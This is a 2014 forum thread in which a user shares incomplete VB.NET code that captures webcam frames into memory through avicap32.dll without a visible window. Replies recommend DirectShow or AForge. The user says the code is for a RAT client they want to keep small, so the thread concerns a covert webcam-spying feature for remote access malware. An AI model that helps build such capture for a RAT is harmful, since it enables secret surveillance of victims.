Capture Webcam into memory using avicap32.dll - Proton! - Sep 30, 2014
Hey guys! I need some help now; basically I am trying to capture the webcam stream directly into memory, without using no picturebox. What I have done is:
I made a class that Inherits NativeWindow, to get a handle.
Then I create a capture window to that handle. Then I use a capVideoStreamCallback delegate.
Here is something I've tried, which doesn't work:
Code Public Class Webcam
Inherits NativeWindow
#Region " P/Invokes "
<DllImport("User32.dll")> _
Private Shared Function SendMessage(hWnd As IntPtr, wMsg As UInteger, wParam As IntPtr, lParam As IntPtr) As IntPtr
End Function
<DllImport("avicap32.dll", EntryPoint:="capGetDriverDescription", CharSet:=CharSet.Auto)> _
Private Shared Function GetDriverDescription(wDriver As Short, lpszName As String, cbName As Integer, lpszVer As String, cbVer As Integer) As Boolean
End Function
<DllImport("avicap32.dll", CharSet:=CharSet.Auto)> _
Private Shared Function capCreateCaptureWindow(lpszWindowName As String, dwStyle As Integer, _
x As Integer, y As Integer, nWidth As Integer, _
nHeight As Integer, hWndParent As IntPtr, _
nID As Integer) As IntPtr
End Function
<DllImport("user32.dll")> _
Private Shared Function DestroyWindow(Handle As Integer) As Boolean
End Function
#End Region
#Region " Constants "
Private Const WM_CAP_START As Short = &H400
Private Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP_START + 10
Private Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP_START + 11
Private Const WM_CAP_EDIT_COPY As Integer = WM_CAP_START + 30
Private Const WM_CAP_GRAB_FRAME = WM_CAP_START + 60
Private Const WM_CAP_SET_PREVIEW As Integer = WM_CAP_START + 50
Private Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP_START + 52
Private Const WM_CAP_SET_SCALE As Integer = WM_CAP_START + 53
Private Const WM_CAP_DLG_VIDEOSOURCE As Integer = WM_CAP_START + 42
Private Const WM_CAP_STOP As Integer = WM_CAP_START + 68
Private Const WS_CHILD As Integer = &H4000000
Private Const WM_CAP_SET_CALLBACK_FRAME As Integer = WM_CAP_START + 5
Private Const WM_CAP_SET_CALLBACK_VIDEO_STREAM As Integer = WM_CAP_START + 6
Private Const WM_CAP_SEQUENCE_NOFILE As Integer = WM_CAP_START + 63
Private Const WS_VISIBLE As Integer = &H1000000
Private Const SWP_NOMOVE As Short = &H2S
Private Const SWP_NOSIZE As Short = 1
Private Const SWP_NOZORDER As Short = &H4S
Private Const HWND_BOTTOM As Short = 1
#End Region
Private iDevice As Integer = 0
Private CamHandle As IntPtr
Private FG As capVideoStreamCallback
<StructLayout(LayoutKind.Sequential)> _
Private Structure VIDEOHDR
Public lpData As IntPtr
Public dwBufferLength As UInteger
Public dwBytesUsed As UInteger
Public dwTimeCaptured As UInteger
Public dwUser As UIntPtr
Public dwFlags As UInteger
<VBFixedArray(3)> Public dwReserved As UIntPtr()
End Structure
Private Sub Initialize()
CreateHandle(New CreateParams)
FG = New capVideoStreamCallback(AddressOf FrameGrabbedCallBack)
EncoderParameters = New EncoderParameters(1)
Encoder = Imaging.Encoder.Quality
JPEGEncoder = GetEncoder(ImageFormat.Jpeg)
CamHandle = capCreateCaptureWindow(iDevice.ToString, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, Handle, 0)
SendMessage(CamHandle, WM_CAP_DRIVER_CONNECT, iDevice, 0)
Dim Ptr As IntPtr = Marshal.GetFunctionPointerForDelegate(FG)
SendMessage(CamHandle, WM_CAP_SET_CALLBACK_VIDEO_STREAM, 0, Ptr)
SendMessage(CamHandle, WM_CAP_SEQUENCE_NOFILE, 0, 0)
End Sub
Private Delegate Function capVideoStreamCallback(hWnd As IntPtr, lpVHdr As IntPtr) As IntPtr
Private Function FrameGrabbedCallBack(hWnd As IntPtr, lpVHdr As IntPtr) As IntPtr
'Convert lpVHdr to VIDEOHDR Structure using Marshal.PtrToStructure
'Make bitmap from the lpdata pointer
MsgBox("Callback!")
End Sub
End Class
Please help :D
* - imi-tat0r - Sep 30, 2014
Code SendMessage(CamHandle, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0)
Will create a new Image besides of any visible or invisible Element and you don't have to use Clipboard.GetImage() afterwards
Just play around a bit I won't spoonfeed you :)
Another hint: you need a FrameCallback and you have to rotate the Image after capturing it (weird an no one knows why)
* - He B TeMy - Sep 30, 2014
You shouldn't use that API, it's really old although supported, the new replacement is Directshow and you got a library called Directshow.net that opens the native directshow unfriendly access from .net.
* - Proton! - Sep 30, 2014
(Sep 30, 2014 10:37 AM)HeBTeMy Wrote: You shouldn't use that API, it's really old although supported, the new replacement is Directshow and you got a library called Directshow.net that opens the native directshow unfriendly access from .net.
Yea, I think so too, is the source code for DirectShow available?
I'd like to learn how it uses the WinAPI.
* - He B TeMy - Sep 30, 2014
(Sep 30, 2014 10:43 AM)Professor Proton Wrote: Yea, I think so too, is the source code for DirectShow available?
I'd like to learn how it uses the WinAPI.
You could've searched... http://directshownet.sourceforge.net/
It's a wrapper for the DirectShow (unfriendly imo) API.
* - Only3 - Sep 30, 2014
those apis are hard to work with what i do is to save it to temp image
* - DotPSD - Sep 30, 2014
This API is kinda old but it works, still.
Nice..
* - Proton! - Sep 30, 2014
What is the best API I can use? - DirectShow is a whole library that is 300KB when compiled, and I am using this for my RAT where my client is currently 90KB, and I dont want to increase it to 390...
Edit: I think AviCap is bad to use, after reading.
* - He B TeMy - Sep 30, 2014
DirectShow is the one to go, you can opt for other "libraries" but they all use Directshow, i bet.
If you want an easier one, i suggest Aforge .net, but if you could grasp the DirectShow API you'd probably do a better job than that library does, just saying.
AviCap forget about that, it's an old, non-flexible API, it might work, it might not, you never know, if you want to support most of the Devices in modern computers an OS's, you have no choice but Directshow or even WIA, but the seconde one has some downsides. (search)
* - Proton! - Sep 30, 2014
(Sep 30, 2014 01:33 PM)HeBTeMy Wrote: DirectShow is the one to go, you can opt for other "libraries" but they all use Directshow, i bet.
If you want an easier one, i suggest Aforge .net, but if you could grasp the DirectShow API you'd probably do a better job than that library does, just saying.
AviCap forget about that, it's an old, non-flexible API, it might work, it might not, you never know, if you want to support most of the Devices in modern computers an OS's, you have no choice but Directshow or even WIA, but the seconde one has some downsides. (search)
I ended up using aforge, good library indeed.
|